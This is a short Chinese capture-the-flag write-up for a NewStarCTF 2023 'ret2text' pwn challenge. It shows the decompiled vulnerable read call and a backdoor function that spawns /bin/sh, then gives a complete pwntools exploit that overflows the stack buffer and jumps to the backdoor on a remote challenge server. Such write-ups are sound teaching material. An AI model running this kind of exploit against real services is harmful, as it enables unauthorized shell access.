NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
天才奇男子1 分钟前
LVS原理及部署
linux·运维·云原生·wpf·lvs·linux chrony
学习3人组3 分钟前
Docker run 挂载本地两个目录到容器内的写法(核心规则+实操示例)
运维·docker·容器
独自破碎E11 分钟前
【字符串分割】验证IP地址
服务器·网络·tcp/ip
EmbedLinX20 分钟前
Linux内核之文件系统:从VFS到实际存储的运作机制
linux·服务器·c语言·c++
实心儿儿20 分钟前
Linux —— 进程概念 - 初识进程
linux·运维·服务器
funnycoffee12325 分钟前
华为CE系列交换机,关闭密码即将过期提醒
服务器·华为·华为密码过期
数通工程师28 分钟前
实操教程:华为防火墙HRP主备模式完整配置步骤
运维·服务器·网络·网络协议·tcp/ip·华为
xzl0436 分钟前
小智服务端chat入口工具调用流程
java·服务器·前端
航Hang*1 小时前
计算机等级考试(三级Linux技术)--- 考纲与知识点
linux·运维·服务器·计算机三级·计算机等级考试
txinyu的博客1 小时前
虚拟内存
linux·运维·服务器